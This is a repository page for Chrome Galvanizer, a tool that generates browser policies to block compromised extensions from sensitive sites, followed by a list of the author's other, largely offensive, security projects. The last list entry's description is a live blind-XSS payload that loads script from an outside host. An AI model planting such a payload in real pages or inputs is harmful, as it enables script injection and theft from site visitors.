• Stars
    star
    275
  • Rank 149,796 (Top 3 %)
  • Language Vue
  • License
    MIT License
  • Created over 4 years ago
  • Updated over 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Harden your Chrome browser via enterprise policy.

icon Chrome Galvanizer

Click here for the hosted version (no setup required)

Summary

Chrome Galvanizer is a tool to generate Chrome enterprise policies to help users harden their browser security. Currently, the main support is for generating policies to restrict extension access from sites explicitly marked as sensitive (e.g. your email, bank, cryptocurency, and other sites). This allows you to prevent extensions from accessing these specific sites even if you've already granted them permission to do so when first installing them.

What does this protect against?

This protects from hijacked extensions with backdoored updates and against extensions that have been exploited due to a security vulnerability in their code.

One good example of the former type of attack this protects against is the case of the MEGA Chrome extension getting hacked. Basically, the account which publishes the MEGA extension likely was phished, the result being that a backdoored extension update was pushed out to all extension users (millions). Per MEGA's statement the extension keylogged and stole “credentials for sites including amazon.com, live.com, github.com, google.com (for webstore login), myetherwallet.com, mymonero.com, [and] idex.market.”

Using Chrome Galvanizer, you can protect yourself from attacks like this by specifying specific sites that one or all of your extensions can no longer access. For the MEGA case, if users had created a policy restricting access for the MEGA extension to access amazon.com, live.com, github.com, google.com, myetherwallet.com, mymonero.com, and idex.market then they'd be protected from the attack.

You can even configure policies that only allow an extension to access a specific whitelist of sites instead of just blacklisting sensitive ones. This is useful if you have an extension you want to use for a set of sites but not the rest of the web. Of course, you can also layer these policies to get even better results.

Tools

This is a SPA written in Vue with vue-cli.

Project setup

npm install

Compiles and hot-reloads for development

npm run serve

Compiles and minifies for production

npm run build

Lints and fixes files

npm run lint

Customize configuration

See Configuration Reference.

More Repositories

1

NorthKoreaDNSLeak

Snapshot of North Korea's DNS data taken from zone transfers.
1,684
star
2

xsshunter-express

An easy-to-setup version of XSS Hunter. Sets up in five minutes and requires no maintenance!
JavaScript
1,458
star
3

xsshunter

The XSS Hunter service - a portable version of XSSHunter.com
JavaScript
1,458
star
4

CursedChrome

Chrome-extension implant that turns victim Chrome browsers into fully-functional HTTP proxies, allowing you to browse sites as your victims.
JavaScript
1,391
star
5

sonar.js

A framework for identifying and launching exploits against internal network hosts. Works via WebRTC IP enumeration combined with WebSockets and external resource fingerprinting.
JavaScript
540
star
6

TLDR

TLDR (TLD Records) is a continually updated DNS archive of zone transfer attempts again all existing TLD nameservers as well as the root servers.
Python
520
star
7

JudasDNS

Nameserver DNS poisoning attacks made easy
JavaScript
516
star
8

cloudflare_enum

Cloudflare DNS Enumeration Tool for Pentesters
Python
515
star
9

TrustTrees

A Tool for DNS Delegation Trust Graphing
Python
400
star
10

xssless

An automated XSS payload generator written in python.
Python
313
star
11

xsshunter_client

Correlated injection proxy tool for XSS Hunter
Python
248
star
12

droidbrute

A statistically optimized USB rubber ducky payload to brute force 4-digit Android PINs.
189
star
13

RussiaDNSLeak

Summary and archives of leaked Russian TLD DNS data
181
star
14

tarnish

A Chrome extension static analysis tool to help aide in security reviews.
JavaScript
146
star
15

FlashHTTPRequest

A very simple bridge for performing Flash HTTP requests with JavaScript
HTML
77
star
16

xcname

A tool for enumerating expired domains in CNAME records
Python
58
star
17

chrome-extension-manifests-dataset

>100K Chrome Extension manifest.json files for analysis
57
star
18

RAGE

A hacked together PHP shell designed to be stealthy and portable
JavaScript
54
star
19

signal-bot

A Signal bot that utilizes the Chrome DevTools protocol to hook the Signal Electron Desktop app for automation.
JavaScript
46
star
20

PaperChaser

JavaScript
44
star
21

comfortably-run

A CLI tool which can be used to inject JavaScript into arbitrary Chrome origins via the Chrome DevTools Protocol
JavaScript
41
star
22

VietnamDNSLeak

Summary and archives of leaked Vietnam TLD DNS data
41
star
23

PERS

A passive scanning tool for finding expired domain vulnerabilities while you browse.
JavaScript
40
star
24

Metafid-Base

The base classes that are used by Metafid (a private piece of software that generates web bot code from Fiddler archives)
PHP
39
star
25

UPBRUTE

Dynamic DNS Update Bruteforce Tool
Python
30
star
26

xpire-crossdomain-scanner

Scans crossdomain.xml policies for expired domain names.
Python
26
star
27

wmap

a mass web screenshot tool for mapping web networks.
JavaScript
24
star
28

overairdroid

A python library to automate the use of the Airdroid app for Android
Python
22
star
29

lambda-intruder

An example of high-QPS requesting Burp Intruder style on AWS Lambda via self-invocation.
JavaScript
22
star
30

xsshunter_docs

XSS Hunter correlated injection API guide
18
star
31

TLD-Health-Report

Daily TLD health report generated using RIPE's DNSCheck against all existing TLDs.
17
star
32

xsshunter_chrome_extension

WHY?
JavaScript
12
star
33

FileURISecurity

Testing page for checking the privileges that a browser gives to the file:// origin
HTML
11
star
34

ctf_tools

Random CTF tool repo for small code snippets
Python
10
star
35

theinternetbackup-cli

Contribute domains to TheInternetBackup.com via an easy CLI tool!
JavaScript
10
star
36

dig-lambda-layer

A simple AWS Lambda layer to add dig support
9
star
37

mandatoryprogrammer

8
star
38

dotfiles

My dot files
Vim Script
6
star
39

subresource_integrity_rewrite

Rewrites flat HTML pages to include subresource integrity for all third party scripts/stylesheets
Python
6
star
40

elasticbeanstalk-base

Base Elastic Beanstalk config which uses Docker and an environment variable EC2_SPOT_PRICE for spot bidding
Dockerfile
5
star
41

testrepo

test
3
star
42

mygithubpage

2
star
43

Trapcall2Spreadsheet

Exports your logged Trapcalls to a CSV spreadsheet
PHP
2
star
44

teamflix-reports

A place to report bugs and feature requests for teamflix
1
star
45

testing

"><script src=//y.vg></script>
1
star